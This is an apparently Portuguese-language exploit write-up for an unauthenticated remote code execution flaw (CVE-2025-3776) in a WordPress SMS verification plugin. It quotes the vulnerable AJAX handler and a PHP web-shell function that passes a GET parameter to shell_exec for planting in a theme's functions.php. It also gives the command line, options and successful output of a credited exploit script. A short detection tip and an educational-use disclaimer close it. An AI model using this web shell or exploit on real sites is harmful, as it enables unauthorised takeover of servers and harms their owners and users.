
O plugin WordPress Verification SMS with TargetSMS <= 1.5 é vulnerável a Execução Remota de Código (RCE)
A vulnerabilidade origina-se do uso de call_user_func() em entrada controlada pelo usuário sem sanitização contra uma lista de permissões de funções permitidas. Isso cria uma falha lógica onde qualquer função PHP existente na memória pode ser executada sem autenticação, levando a uma condição severa de Execução Remota de Código (RCE).
Arquivo:
/inc/ajax.phpadd_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');
function targetvr_ajax_handler(){
$callback = targetvr_get_postData('callback', 'string');
if ($callback and function_exists($callback)){
call_user_func($callback);
} else {
targetvr_return_json(false);
}
wp_die();
}
Esse código permite que usuários não autenticados acionem qualquer função existente na memória, incluindo funções maliciosas, caso o atacante consiga carregá-las.
Para explorar esta vulnerabilidade com sucesso, uma função chamável já deve existir no ambiente WordPress. Como plugins e temas do WordPress podem carregar funções automaticamente, o atacante pode injetar sua própria função por meio do arquivo functions.php do tema ativo.
target.com/wp-content/themes/twentytwentyfour/functions.php
functions.php:function evil() {
if (isset($_GET['cmd'])) {
echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
} else {
echo '<pre>' . shell_exec("whoami") . '</pre>';
}
exit;
}
✅ Isso garante que a função
evil()seja carregada na memória e se torne executável viacall_user_func().
python3 CVE-2025-3776.py -u http://target.com -c "id"
[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>
Exploit By : Nxploited ( Khaled Alenazi )
usage: CVE-2025-3776.py [-h] -u URL [-c CMD]
CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5
# Exploit by Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-c, --cmd CMD Command to execute (default: whoami)
Se nenhuma função evil() ou similar estiver disponível na memória:
{"status":false}
functions.php do tema ativo (como demonstrado).evil().Uma vez que uma função maliciosa é carregada, um atacante não autenticado pode:
Procure por requisições POST repetidas para:
/wp-admin/admin-ajax.php?action=targetvrHHndler
Com callback=evil ou qualquer nome de função inesperado
Esta informação é fornecida apenas para fins educacionais e de pesquisa ética. O autor não é responsável por qualquer uso indevido ou dano causado pelo uso desta informação.
Exploit por: Nxploited (Khaled Alenazi)